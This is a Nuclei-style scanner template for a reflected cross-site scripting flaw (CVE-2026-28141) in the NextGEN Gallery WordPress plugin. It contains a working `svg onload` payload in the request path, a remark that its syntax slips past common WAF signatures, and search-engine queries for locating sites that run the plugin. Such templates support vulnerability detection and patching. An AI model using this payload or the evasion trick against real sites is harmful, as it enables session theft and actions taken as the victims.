NextGEN Gallery through 4.2.3 reflects a URL-decoded `ngg_tag` route value into the generated tag page without the context-specific escaping added in 4.2.4. An unauthenticated attacker can break out of the tag context and inject an auto-executing script. This template injects an `svg onload` payload carrying a random nonce and matches its unencoded reflection; slash and backtick syntax keep the request off common WAF signatures.
PoC代码[已公开]
id: CVE-2026-28141
info:
name: NextGEN Gallery <= 4.2.3 - Reflected Cross-Site Scripting
author: str4k3r
severity: high
description: |
NextGEN Gallery through 4.2.3 reflects a URL-decoded `ngg_tag` route value into the generated tag page without the context-specific escaping added in 4.2.4. An unauthenticated attacker can break out of the tag context and inject an auto-executing script. This template injects an `svg onload` payload carrying a random nonce and matches its unencoded reflection; slash and backtick syntax keep the request off common WAF signatures.
impact: |
An unauthenticated attacker can execute arbitrary JavaScript in a victim's browser when they open the crafted gallery-tag link, enabling session theft, credential capture, and actions performed as the victim.
remediation: |
Update NextGEN Gallery to version 4.2.4 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-28141
- https://patchstack.com/database/wordpress/plugin/nextgen-gallery/vulnerability/wordpress-nextgen-gallery-plugin-4-2-3-cross-site-scripting-xss-vulnerability?_s_id=cve
- https://wordpress.org/plugins/nextgen-gallery/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
cvss-score: 7.1
cve-id: CVE-2026-28141
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
vendor: imagely
product: nextgen-gallery
framework: wordpress
fofa-query: body="NextGEN Gallery"
publicwww-query: "/wp-content/plugins/nextgen-gallery/"
tags: cve,cve2026,wordpress,wp-plugin,wp,nextgen-gallery,imagely,xss
variables:
marker: "{{rand_base(6)}}"
http:
- method: GET
path:
- "{{BaseURL}}/ngg_tag/cve-2026-28141%22%3E%3Csvg%2Fonload%3Dalert%60{{marker}}%60%3E/"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<svg/onload=alert`{{marker}}`>"
- "NextGEN"
condition: and
- type: word
part: header
words:
- "text/html"
# digest: 490a0046304402202bee1380fb5300266f1476018bf60cfb13d5ddddbe6b84d23a862e0fc096bd7402202b1c4d7553519271b67a8fc5b9643d49f976d31e290165727837aa22948dc0a2:922c64590222798bb761d5b6d8e72950